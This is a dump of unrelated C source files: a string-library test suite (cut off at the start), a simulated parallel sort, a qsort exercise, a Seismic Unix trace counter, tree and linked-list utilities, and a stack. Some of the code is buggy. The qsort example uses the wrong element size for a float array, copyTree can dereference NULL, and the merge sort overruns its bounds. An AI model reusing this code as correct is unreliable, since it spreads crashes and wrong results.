SUCCESS; strncpy(buffer, "test_compare_left_string_shorter\n", length); } else { status = FAILURE; printf("Expected a negative inter but got %d\n", my_string_compare(lString, rString)); strncpy(buffer, "test_compare_left_string_shorter\n" "Did not receive negative int from compare\n", length); } my_string_destroy(&rString); my_string_destroy(&lString); return status; } Status test_compare_left_string_bigger(char* buffer, int length){ MY_STRING lString; MY_STRING rString; lString = my_string_init_c_string("ccccc"); rString = my_string_init_c_string("bbbbb"); Status status; if(my_string_compare(lString, rString) > 0){ status = SUCCESS; strncpy(buffer, "test_compare_left_string_bigger\n", length); } else { status = FAILURE; printf("Expected a positive inter but got %d\n", my_string_compare(lString, rString)); strncpy(buffer, "test_compare_left_string_bigger\n" "Did not receive positive int from compare\n", length); } my_string_destroy(&rString); my_string_destroy(&lString); return status; } Status test_compare_strings_same(char* buffer, int length){ MY_STRING lString; MY_STRING rString; lString = my_string_init_c_string("bbbbb"); rString = my_string_init_c_string("bbbbb"); Status status; if(my_string_compare(lString, rString) == 0){ status = SUCCESS; strncpy(buffer, "test_compare_strings_same\n", length); } else { status = FAILURE; printf("Expected a zero but got %d\n", my_string_compare(lString, rString)); strncpy(buffer, "test_compare_strings_same\n" "Did not receive zero from compare\n", length); } my_string_destroy(&rString); my_string_destroy(&lString); return status; } Status test_compare_strings_prefix(char* buffer, int length){ MY_STRING lString; MY_STRING rString; lString = my_string_init_c_string("bbbb"); rString = my_string_init_c_string("bbbbb"); Status status; if(my_string_compare(lString, rString) < 0){ status = SUCCESS; strncpy(buffer, "test_compare_strings_prefix\n", length); } else{ status = FAILURE; printf("Expected a negative int but got %d\n", my_string_compare(lString, rString)); strncpy(buffer, "test_compare_strings_prefix\n" "Did not receive negative int from compare\n", length); } my_string_destroy(&rString); my_string_destroy(&lString); return status; } Status test_string_push_back_increments_size(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); my_string_push_back(hString, 'x'); if(my_string_get_size(hString)!=5){ status=FAILURE; printf("Expected a size of 5 but got %d\n", my_string_get_size(hString)); strncpy(buffer, "test_string_push_back_increments_size\n" "Did not receive 5 from get_size after push_back\n", length); } else { status = SUCCESS; strncpy(buffer, "test_string_push_back_increments_size\n", length); } my_string_destroy(&hString); return status; } Status test_pop_back_decrements_size(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); my_string_pop_back(hString); if(my_string_get_size(hString) != 3){ status = FAILURE; printf("Expected a size of 3 but got %d\n", my_string_get_size(hString)); strncpy(buffer, "test_pop_back_decrements_size\n" "Did not receive 3 from get_size after pop_back\n", length); } else { status = SUCCESS; strncpy(buffer, "test_pop_back_decrements_size\n", length); } my_string_destroy(&hString); return status; } Status test_string_destroy_sets_handle_NULL(char* buffer, int length){ MY_STRING hString; hString = my_string_init_default(); my_string_destroy(&hString); if(hString != NULL){ strncpy(buffer, "test_string_destroy_sets_handle_NULL\n" "my_string_destroy does not set handle to NULL", length); return FAILURE; } else { strncpy(buffer, "\ttest_string_destroy_sets_handle_NULL\n", length); return SUCCESS; } } Status test_my_string_at_returns_e(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); if(*my_string_at(hString, 1) != 'e'){ printf("Expected 'e' but got %c\n", *my_string_at(hString, 1)); strncpy(buffer, "test_my_string_at_returns_e\n" "my_string_at does not return e", length); status = FAILURE; } else { strncpy(buffer, "\ttest_my_string_at_returns_e\n", length); status = SUCCESS; } my_string_destroy(&hString); return status; } Status test_my_string_at_returns_NULL_at_underflow(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); if(my_string_at(hString, -1) != NULL){ printf("Expected NULL but got non NULL\n"); strncpy(buffer, "test_my_string_at_returns_NULL_at_underflow\n" "my_string_at does not return NULL", length); status = FAILURE; } else { strncpy(buffer, "\ttest_my_string_at_returns_NULL_at_underflow\n", length); status = SUCCESS; } my_string_destroy(&hString); return status; } Status test_my_string_at_returns_NULL_at_overflow(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); if(my_string_at(hString, 4) != NULL){ printf("Expected NULL but got non NULL\n"); strncpy(buffer, "test_my_string_at_returns_NULL_at_overflow\n" "my_string_at does not return NULL", length); status = FAILURE; } else { strncpy(buffer, "\ttest_my_string_at_returns_NULL_at_overflow\n", length); status = SUCCESS; } my_string_destroy(&hString); return status; } Status test_my_string_c_string_returns_first_element(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); if(*my_string_c_str(hString) != 't'){ printf("Expected 't' but got %c\n", *my_string_c_str(hString)); strncpy(buffer, "test_my_string_c_string_returns_first_element\n" "my_string_c_str does not return t", length); status = FAILURE; } else { strncpy(buffer, "\ttest_my_string_c_string_returns_first_element\n", length); status = SUCCESS; } my_string_destroy(&hString); return status; } Status test_my_string_c_str_returns_null_terminated(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); if(my_string_c_str(hString)[4] != '\0'){ printf("Expected null character but got %c\n", *my_string_c_str(hString)); strncpy(buffer, "test_my_string_c_str_returns_null_terminated\n" "my_string_c_str does not return null terminated", length); status = FAILURE; } else { strncpy(buffer, "\ttest_my_string_c_str_returns_null_terminated\n", length); status = SUCCESS; } my_string_destroy(&hString); return status; } Status test_string_pop_back_returns_FAILURE_on_empty_string(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_default(); if(my_string_pop_back(hString) != FAILURE){ status = FAILURE; printf("Pop on empty string did not return FAILURE\n"); strncpy(buffer, "test_string_pop_back_returns_FAILURE_on_empty_string\n" "Did not receive FAILURE from pop_back\n", length); } else { status = SUCCESS; strncpy(buffer, "test_string_pop_back_returns_FAILURE_on_empty_string\n", length); } my_string_destroy(&hString); return status; } Status test_string_concat_size_incremented_correctly(char* buffer, int length){ MY_STRING rString; MY_STRING aString; rString = my_string_init_c_string("result"); aString = my_string_init_c_string("append"); Status status; my_string_concat(rString, aString); if(my_string_get_size(rString) != 12){ status = FAILURE; printf("Expected a size of 12 but got %d\n", my_string_get_size(rString)); strncpy(buffer, "test_string_concat_size_incremented_correctly\n" "Did not receive 12 from get_size on result after my_string_concat\n", length); } else { status = SUCCESS; strncpy(buffer, "test_string_concat_size_incremented_correctly\n", length); } my_string_destroy(&rString); my_string_destroy(&aString); return status; } Status test_string_concat_does_not_change_appended_string(char* buffer, int length){ MY_STRING rString; MY_STRING aString; MY_STRING controlString; rString = my_string_init_c_string("result"); aString = my_string_init_c_string("append"); controlString = my_string_init_c_string("append"); Status status; my_string_concat(rString, aString); if(my_string_compare(aString, controlString) != 0){ status = FAILURE; printf("Expected strings to be identical, but they were not \n"); strncpy(buffer, "test_string_concat_does_not_change_appended_string\n" "Did not receive 0 from string_compare on appended string and control string after my_string_concat\n", length); } else { status = SUCCESS; strncpy(buffer, "test_string_concat_does_not_change_appended_string\n", length); } my_string_destroy(&controlString); my_string_destroy(&rString); my_string_destroy(&aString); return status; } Status test_string_extraction_matches_insertion(char* buffer, int length){ MY_STRING iString; MY_STRING eString; Status status; FILE * fpw; FILE * fpr; iString = my_string_init_c_string("test"); eString = my_string_init_default(); fpw = fopen("testfile", "w"); my_string_insertion(iString, fpw); fclose(fpw); fpr = fopen("testfile", "r"); my_string_extraction(eString, fpr); fclose(fpr); remove("testfile"); if(my_string_compare(eString, iString) != 0){ status = FAILURE; printf("Expected strings to be identical, but they were not \n"); strncpy(buffer, "test_string_extraction_matches_insertion\n" "Did not receive 0 from string_compare on inserted string and extracted string after my_string_extract\n", length); } else { status = SUCCESS; strncpy(buffer, "test_string_extraction_matches_insertion\n", length); } my_string_destroy(&iString); my_string_destroy(&eString); return status; } Status test_extraction_size_increments_correctly(char* buffer, int length){ MY_STRING iString; MY_STRING eString; Status status; FILE * fpw; FILE * fpr; iString = my_string_init_c_string("test"); eString = my_string_init_default(); fpw = fopen("testfile", "w"); my_string_insertion(iString, fpw); fclose(fpw); fpr = fopen("testfile", "r"); my_string_extraction(eString, fpr); fclose(fpr); remove("testfile"); if(my_string_get_size(eString)!=4){ status = FAILURE; printf("Expected a size of 4 but got %d\n", my_string_get_size(eString)); strncpy(buffer, "test_extraction_size_increments_correctly\n" "Did not receive 4 from get_size after my_string_extract\n", length); } else { status = SUCCESS; strncpy(buffer, "test_extraction_size_increments_correctly\n", length); } my_string_destroy(&iString); my_string_destroy(&eString); return status; } Status test_my_string_extraction_ignores_all_leading_whitespace(char* buffer, int length){ MY_STRING iString; MY_STRING eString; MY_STRING controlString; Status status; FILE * fpw; FILE * fpr; iString = my_string_init_c_string(" test"); controlString = my_string_init_c_string("test"); eString = my_string_init_default(); fpw = fopen("testfile", "w"); my_string_insertion(iString, fpw); fclose(fpw); fpr = fopen("testfile", "r"); my_string_extraction(eString, fpr); fclose(fpr); remove("testfile"); if(my_string_compare(eString, controlString) != 0){ status = FAILURE; printf("Expected string_extract to ignore leading white space but it did not \n"); strncpy(buffer, "test_my_string_extraction_ignores_all_leading_whitespace\n" "Did not receive 0 from string_compare on control string and extracted string after my_string_extract\n", length); } else { status = SUCCESS; strncpy(buffer, "test_my_string_extraction_ignores_all_leading_whitespace\n", length); } my_string_destroy(&iString); my_string_destroy(&controlString); my_string_destroy(&eString); return status; } Status test_string_extraction_replaces_data(char* buffer, int length){ MY_STRING iString; MY_STRING eString; Status status; FILE * fpw; FILE * fpr; iString = my_string_init_c_string("test"); eString = my_string_init_c_string("a longer test"); fpw = fopen("testfile", "w"); my_string_insertion(iString, fpw); fclose(fpw); fpr = fopen("testfile", "r"); my_string_extraction(eString, fpr); fclose(fpr); remove("testfile"); if(my_string_compare(eString, iString)!=0){ status = FAILURE; printf("Expected string_extract to replace existing data, but it did not \n"); strncpy(buffer, "test_string_extraction_replaces_data\n" "Did not receive 0 from string_compare on inserted string and extracted string after my_string_extract\n", length); } else { status = SUCCESS; strncpy(buffer, "test_string_extraction_replaces_data\n", length); } my_string_destroy(&iString); my_string_destroy(&eString); return status; } Status test_extraction_stops_at_whitespace(char* buffer, int length){ MY_STRING iString; MY_STRING eString; MY_STRING controlString; Status status; FILE * fpw; FILE * fpr; iString = my_string_init_c_string("test "); controlString = my_string_init_c_string("test"); eString = my_string_init_default(); fpw = fopen("testfile", "w"); my_string_insertion(iString, fpw); fclose(fpw); fpr = fopen("testfile", "r"); my_string_extraction(eString, fpr); fclose(fpr); remove("testfile"); if(my_string_compare(eString, controlString)!=0){ status = FAILURE; printf("Expected string_extract to stop at white space but it did not \n"); strncpy(buffer, "test_extraction_stops_at_whitespace\n" "Did not receive 0 from string_compare on control string and extracted string after my_string_extract\n", length); } else { status = SUCCESS; strncpy(buffer, "test_extraction_stops_at_whitespace\n", length); } my_string_destroy(&iString); my_string_destroy(&controlString); my_string_destroy(&eString); return status; }
C
#define global #include "stdio.h" #include "barrier.h" #include "stdint.h" #define NPROC 16 volatile int CountLock = 0; #define cmp0_0 0x1ff000000 #define cmp0_1 0x1ff000100 #define cmp0_2 0x1ff000200 #define cmp0_3 0x1ff000300 #define cmp0_4 0x1ff000400 #define cmp0_5 0x1ff000800 #define cmp0_6 0x11fde6f50 #define cmp1_0 0x1ff001000 #define cmp1_1 0x1ff002000 #define cmp1_2 0x1ff003000 #define cmp1_3 0x1ff004000 #define cmp1_4 0x1ff005000 #define cmp1_5 0x1ff006000 #define cmp1_6 0x1ff007000 #define cmp1_7 0x1ff008000 #define INF 20000 #define NODENUM 500 #define LOCALNUM 250 extern void MTA_printresult(); volatile int InputArray[NODENUM]; volatile int FinalArray[NODENUM+128]; void ReadFile(char *contents, int c[NODENUM]){ int i = 0; int j; FILE *fp; //begin to read file fp=fopen(contents,"r"); if (fp == NULL) { printf("open file error\n"); } while(!feof(fp)) { char str[1024]; char *p; if (fgets(str,sizeof(str),fp)==NULL) break ; p=strtok(str," "); while (p) { c[i] = atoi(p); i++; p=strtok(NULL," "); } } printf("\n"); fclose(fp); } int QuickSortFirst(int left,int right,int a[NODENUM]) { int i,j,t,temp; if(left>right) return; temp=a[left]; i=left; j=right; while(i!=j) { while(a[j]>=temp && i<j) j--; while(a[i]<=temp && i<j) i++; if(i<j) { t=a[i]; a[i]=a[j]; a[j]=t; } } a[left]=a[i]; a[i]=temp; return i; } void QuickSortSecond(int left,int right,int a[NODENUM]) { int i,j,t,temp; if(left>right) return; temp=a[left]; i=left; j=right; while(i!=j) { while(a[j]>=temp && i<j) j--; while(a[i]<=temp && i<j) i++; if(i<j) { t=a[i]; a[i]=a[j]; a[j]=t; } } a[left]=a[i]; a[i]=temp; QuickSortSecond(left,i-1,a); QuickSortSecond(i+1,right,a); } void MergeSort(int arr[],int low,int mid, int high) { int i=low,j=mid+1,p=0; int newarr[100000]; printf("The merge_sort is beginning...\n"); fflush(stdout); while(i<=mid && j<=high){ if(arr[i] < arr[j]) newarr[p++] = arr[i++]; else newarr[p++] = arr[j++]; } while(i<=mid) newarr[p++] = arr[i++]; while(j<=high) newarr[p++] = arr[j++]; for(i=low,p=0;p<(high-low+1);i++,p++) arr[i] = newarr[p]; } void PrintResult(int dist[NODENUM]){ int i; for(i=0;i<NODENUM+2;i++){ printf("%d ",dist[i]); } printf("\n"); fflush(stdout); } void ReceiveData(int c[NODENUM]){ int i; int *receiveAddress0= (int *)cmp0_0; for(i=LOCALNUM; i<NODENUM; i++){ c[i] = *receiveAddress0++; } } void WriteFile(char *contents,int array[],int n) { FILE *fp; int i=0; printf("Write file is beginning...\n"); fflush(stdout); fp=fopen(contents,"w"); while(i<n) {fprintf(fp,"%d ",array[i]); i++; } fclose(fp); printf("Write file is over...\n"); fflush(stdout); } void WaitTime(int a){ int *receiveSignal0= (int *)cmp0_5; *receiveSignal0 = 0;//receive signal while(*receiveSignal0!=a){ MTA_acquiesce(receiveSignal0); } } void InitialDist(int coreNum,int array[],int x[],int *p, int *q){ int i; int tmp; int num; if(LOCALNUM%coreNum == 0){ num = LOCALNUM/coreNum; } else{ num = LOCALNUM/coreNum+1; } tmp = (num*coreNum)-LOCALNUM; for(i=0;i<LOCALNUM;i++){ array[i] = x[i]; } for(i=LOCALNUM;i<tmp+LOCALNUM;i++){ array[i] = INF; } *p = num; *q = tmp; } int main() { unsigned ProcessId = 0; int my_id = 0; int i,j; int eachCoreNum=0; int remainder=0; long long int finalSimCycle; ReadFile("./input.txt",InputArray);//read file for(j=0;j<NODENUM;j++){ printf("%d ", InputArray[j]); } printf("\n"); InitialDist(NPROC,FinalArray,InputArray,&eachCoreNum,&remainder);//initialazation for(j=0;j<LOCALNUM+remainder;j++){ printf("%d ", FinalArray[j]); } printf("\n"); barrier_init(NPROC); for(ProcessId = 1;ProcessId < NPROC; ProcessId++) { my_id = MTA_fork(); printf("loop %d after fork %d\n",ProcessId,my_id); my_id = MTA_getthreadID(); printf("loop %d after MTA_getthreadID %d\n",ProcessId,my_id); if(my_id != 0) break; } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); MTA_Stats(1);//enter to kernal { my_id = MTA_getthreadID(); printf("come on after fork %d.\n",my_id); fflush(stdout); int i,j,cnt = 0; int *otherAddress0 = (int *)cmp1_0; int *otherSignal0 = (int *)cmp1_1; int *localAddress1 = (int *)cmp0_2; int *localAddress2 = (int *)cmp0_2; int *localSignal0 = (int *)cmp0_1; *localSignal0 = 999;//send signal printf("The first sorting is beginning...\n"); QuickSortSecond(eachCoreNum*my_id,eachCoreNum*(my_id+1)-1,FinalArray); MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id < NPROC/2){ MergeSort(FinalArray,my_id*(2*eachCoreNum),my_id*(2*eachCoreNum)+((((my_id+1)*2*eachCoreNum) -1)-my_id*(2*eachCoreNum))/2,((my_id+1)*(2*eachCoreNum)) -1); printf("This is the 2th loop\n"); fflush(stdout); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id < NPROC/4){ MergeSort(FinalArray,my_id*(4*eachCoreNum),my_id*(4*eachCoreNum)+((((my_id+1)*4*eachCoreNum) -1)-my_id*(4*eachCoreNum))/2,((my_id+1)*(4*eachCoreNum)) -1); printf("This is the 4th loop\n"); fflush(stdout); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id < NPROC/8){ MergeSort(FinalArray,my_id*(8*eachCoreNum),my_id*(8*eachCoreNum)+((((my_id+1)*8*eachCoreNum) -1)-my_id*(8*eachCoreNum))/2,((my_id+1)*(8*eachCoreNum)) -1); printf("This is the 8th loop\n"); fflush(stdout); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id < NPROC/16){ MergeSort(FinalArray,my_id*(16*eachCoreNum),my_id*(16*eachCoreNum)+((((my_id+1)*16*eachCoreNum) -1)-my_id*(16*eachCoreNum))/2,((my_id+1)*(16*eachCoreNum)) -1); printf("This is the 16th loop\n"); fflush(stdout); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id < NPROC/32){ MergeSort(FinalArray,my_id*(32*eachCoreNum),my_id*(32*eachCoreNum)+((((my_id+1)*32*eachCoreNum) -1)-my_id*(32*eachCoreNum))/2,((my_id+1)*(32*eachCoreNum)) -1); printf("This is the 32th loop\n"); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id < NPROC/64){ MergeSort(FinalArray,my_id*(64*eachCoreNum),my_id*(64*eachCoreNum)+((((my_id+1)*64*eachCoreNum) -1)-my_id*(64*eachCoreNum))/2,((my_id+1)*(64*eachCoreNum)) -1); printf("This is the 64th loop\n"); fflush(stdout); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id == 0){ MTA_printresult(); WaitTime(999); MTA_printresult(); printf("I receive the data beginning...\n"); fflush(stdout); ReceiveData(FinalArray); MergeSort(FinalArray,0,LOCALNUM-1,NODENUM); } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); if(my_id == 0){ printf("Print the final sim_cycle\n"); MTA_printresult(); fflush(stdout); } /*if(my_id == 1){ printf("The results is:\n"); fflush(stdout); WriteFile("./output.txt",FinalArray,NODENUM); }*/ } MTA_Bar_Stats(1); barrier(MTA_getthreadID() , NPROC); MTA_Bar_Stats(0); //if(my_id == 0) // MTA_printresult(); MTA_Stats(0); while(1); }
C
#include <stdio.h> void rt(int *t){ *t=1; } int main(){ int t=0; printf("t=%d\n",t); rt(&t); printf("t=%d\n",t); return 0; }
C
#include <stdio.h> #include <stdlib.h> /*CONSEGUI UMA EXPLICAO DA FUNO qsort: http://www.galirows.com.br/meublog/programacao/utilizacao-funcao-qsort/*/ float comparar(const void *x, const void *y){ // A funo comparar recebe dois ponteiros constantes return (int) (*(int *)x - * (int *)y); /* 1. A funo ir retornar um valor maior do que zero: se o primeiro valor for maior do que o segundo. 2. A funo ir retornar um valor menor do que zero: se o primeiro valor for menor do que o segundo. 3. A funo ir retornar Zero: se os valores forem iguais. */ } int main() { float *vetor; int aux; int n; printf("INFORME A QUANTIDADE DE LINHAS DO VERTOR: "); scanf ("%i", &n); // Recebendo o tamanho do meu vetor vetor = malloc(n*sizeof(float)); //Alocando espao para um bloco de bytes consecutivos na memria RAM printf("\n"); for(int i = 0; i<n; i++){ printf("INFORME UM NUMERO: "); scanf("%f", &vetor[i]); } // Um lao de repetio para "Cadastrar" ou inserir os nmeros nos respctivos endereos do meu vetor. //FAZ O CALCULO DO ENDEREO E EXIBE. TAMBEM FAZ O CALCULO DO CONTEUDO DO RESPCTIVO ENDERECO E EXIBE printf("\nVETOR DIGITADO: "); for(int i =0; i < n; i++){ printf("Posicao: %X Valor:%f ", vetor+i, *(vetor+i)); printf("|"); } printf("\n--------------------------------------"); qsort(vetor, n, sizeof(int), comparar); /*void qsort(void *base, size_t memb, site_t size, int (*compar) (const void *, const void *)); (Um ponteiro para o primeiro elemento do array, a quantidade de elementos do array, tamanho em bytes dos elementos do array, uma funo de comparao para ordenar os elementos)*/ //FAZ O CALCULO DO ENDEREO E EXIBE. TAMBEM FAZ O CALCULO DO CONTEUDO DO RESPCTIVO ENDERECO E EXIBE printf("\nVETOR ORDENADDO: "); for(int i =0; i < n; i++){ printf("Posicao: %X Valor:%f ", vetor+i, *(vetor+i)); printf("|"); } printf("\n--------------------------------------"); printf("\n"); free(vetor); return 0; }
C
/* Copyright (c) Colorado School of Mines, 2011.*/ /* All rights reserved. */ /* SUKILL: $Revision: 1.18 $ ; $Date: 2011/11/17 00:03:38 $ */ #include "su.h" #include "segy.h" /*********************** self documentation **********************/ char *sdoc[] = { " ", " SUCOUNTZERO - count zero traces ", " ", " sucount <stdin >stdout [optional parameters] ", " ", " Optional parameters: ", " key=gx header name to select traces to kill ", " a=2 header value identifying min header to kill ", " b= header value identifying max header to kill ", " rem=0 0 keep 1 remove zero traces ", " min= first trace to kill (one-based) ", " count=1 number of traces to kill ", " ", " Notes: ", " If min= is set it overrides selecting traces by header. ", " ", NULL}; /* Credits: * CWP: Chris Liner, Jack K. Cohen * header-based trace selection: Florian Bleibinhaus * * Trace header fields accessed: ns */ /**************** end self doc ***********************************/ segy tr; int main(int argc, char **argv) { cwp_String key; /* trace header */ cwp_String type; /* type for trace header */ int index; /* index of trace header */ Value val; /* trace header value */ double dval,a,b; /* trace header value */ int nt = 0; /* number of time samples */ /* Initialize */ initargs(argc, argv); requestdoc(1); /* Get parameters */ if (!getparstring("key", &key)) key = "gx"; if (!getpardouble("a", &a)) a = 0; if (!getpardouble("b", &b)) b = 0; checkpars(); /* Get type and index value */ type = hdtype(key); index = getindex(key); int countalive=0; int countdead=0; double sum=0; while (gettr(&tr)) { nt = tr.ns; gethval(&tr, index, &val); dval = vtod(type, val); if (( dval>=a )&&(dval<=b)){ sum=0; for (int i=0;i<nt;i++) sum+=fabs(tr.data[i]); if (sum) countalive++; else countdead++; } } fprintf(stderr,"alive = %d , dead = %d \n", countalive, countdead); return(CWP_Exit()); }
C
#ifndef UNIT_H_INCLUDED #define UNIT_H_INCLUDED #include <stdint.h> #include "defines.h" typedef struct { int16_t current_health; int16_t max_health; uint16_t damage_per_attack; // Attack cooldown = time between attacks float attack_cooldown; // Current cooldown = time before next attack float current_attack_cooldown; // Number of seconds before planet jump is finished float jump_cooldown; // Current amount of seconds before the current planet jump finishes float current_jump_cooldown; // Coefficient of how much CE an order of this type of unit takes; Always rounded up when used. float CE_coefficient; } unit_stats_s; typedef struct { unit_stats_s *stats; // Pointer to the node the unit is at node_s *node_at; // Needs to be hashed based on time of creation, place and type uint64_t unit_ID; uint8_t type; uint8_t faction; int8_t owner; } unit_s; #endif // UNIT_H_INCLUDED
C
#include "lists.h" /** * get_dnodeint_at_index - function that nth node of a linked list * @head: pointer to the first node of the list * @index: node's index * Return: the nth node of a linked list. */ dlistint_t *get_dnodeint_at_index(dlistint_t *head, unsigned int index) { size_t i = 0; if (head == NULL) return (NULL); while (i < index) { if (head != NULL) head = head->next; i++; } return (head); }
C
#include <stdlib.h> #include <stdio.h> #include "Tree.h" treePtr newTree(treePtr parent, int val) { treePtr newTree = (treePtr) malloc(sizeof(struct Tree)); newTree->value = val; newTree->parent = parent; newTree->child1 = NULL; newTree->child2 = NULL; return newTree; } treePtr copyTree(treePtr tree) { //printf("->copyTree\n"); if (tree == NULL) { return NULL; } treePtr newTree = (treePtr) malloc(sizeof(struct Tree)); newTree->value = tree->value; newTree->parent = NULL; newTree->child1 = copyTree(tree->child1); newTree->child1->parent = newTree; newTree->child2 = copyTree(tree->child2); newTree->child2->parent = newTree; //printf("<-copyTree\n"); return newTree; } treePtr addChild(treePtr tree, int child, int value) { treePtr success = NULL; if (child == 1 && tree->child1 == NULL) { tree->child1 = newTree(tree,value); success = tree->child1; } else if (child == 2 && tree->child2 == NULL) { tree->child2 = newTree(tree,value); success = tree->child2; } return success; } void deleteTree(treePtr tree) { if (tree != NULL) { deleteTree(tree->child1); deleteTree(tree->child2); free(tree); } return; } int matchTree(treePtr tree, treePtr matchTree) { int match = 0; //treePtr treeNode = tree; //treePtr matchTreeNode = matchTree; return match; } void printTree(treePtr tree) { //printf(">printTree\n"); if (tree->child1 != NULL && tree->child2 != NULL) { printf("("); printTree(tree->child1); printf(","); printTree(tree->child2); printf(")"); } else if (tree->child1 != NULL) { printf("("); printTree(tree->child1); printf(")"); } else if (tree->child2 != NULL) { printf("("); printTree(tree->child2); printf(")"); } printf("%d",tree->value); //printf("<printTree\n"); return; } void fprintTree(FILE *file, treePtr tree) { //printf(">fprintTree\n"); if (tree->child1 != NULL && tree->child2 != NULL) { fprintf(file,"("); fprintTree(file,tree->child1); fprintf(file,","); fprintTree(file,tree->child2); fprintf(file,")"); } else if (tree->child1 != NULL) { fprintf(file,"("); fprintTree(file,tree->child1); fprintf(file,")"); } else if (tree->child2 != NULL) { fprintf(file,"("); fprintTree(file,tree->child2); fprintf(file,")"); } fprintf(file,"%d",tree->value); //printf("<fprintTree\n"); return; }
C
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <stdbool.h> #include "defines.h" #include "llstack.h" #include "vector.h" #define FREELIST_START_SIZE 128 LLStack *llstack_create(size_t size) { LLStack *new_lls = calloc(1, sizeof(LLStack)); new_lls->ptr = NULL; new_lls->curr_size = 0; new_lls->size = size; new_lls->freelist_ptr = vec_create(0, FREELIST_START_SIZE); return new_lls; } int llstack_push(LLStack *llstack, stacktype_t data) { if (llstack->curr_size == llstack->size) { return OVERFLOW; } Node *new_node = malloc(sizeof(Node)); new_node->data = data; new_node->next = llstack->ptr; llstack->ptr = new_node; llstack->curr_size++; return OK; } stacktype_t llstack_peek(LLStack *llstack , int *rc) { if (!(llstack->ptr)) { *rc = EMPTY_STACK; return 0; } *rc = OK; return llstack->ptr->data; } stacktype_t llstack_pop(LLStack *llstack, int *rc) { if (!(llstack->ptr)) { *rc = UNDERFLOW; return 0; } stacktype_t data = llstack->ptr->data; Node *adress = llstack->ptr; llstack->ptr = llstack->ptr->next; free(adress); llstack->curr_size--; llstack->freelist_ptr = vec_push_back(llstack->freelist_ptr, (void*)adress); *rc = OK; return data; } int llstack_display(LLStack *llstack) { if (llstack_is_empty(llstack)) { return EMPTY_STACK; } printf(ANSI_COLOR_YELLOW"\n[Последний элемент]<--------[Направление стека]-------->[Первый элемент]\n" ANSI_COLOR_GREEN); Node *curr = llstack->ptr; while (curr) { printf(ANSI_COLOR_GREEN" -> %"STYPE_SPEC"(%p)"ANSI_COLOR_RESET, curr->data, (void*)curr); curr = curr->next; } printf("\n"); return OK; } bool llstack_freelist_is_empty(LLStack *llstack) { return vec_is_empty(llstack->freelist_ptr); } void list_free_all(Node *head) { Node *next; Node *curr = head; while(curr) { next = curr->next; free(curr); curr = next; } } bool llstack_is_empty(LLStack *llstack) { return !(llstack->ptr); } void llstack_delete(LLStack *llstack) { list_free_all(llstack->ptr); vec_delete(llstack->freelist_ptr); free(llstack); } size_t get_llstack_size(size_t length) { return sizeof(LLStack *) + sizeof(LLStack) - sizeof(Vector *) + length * sizeof(Node); }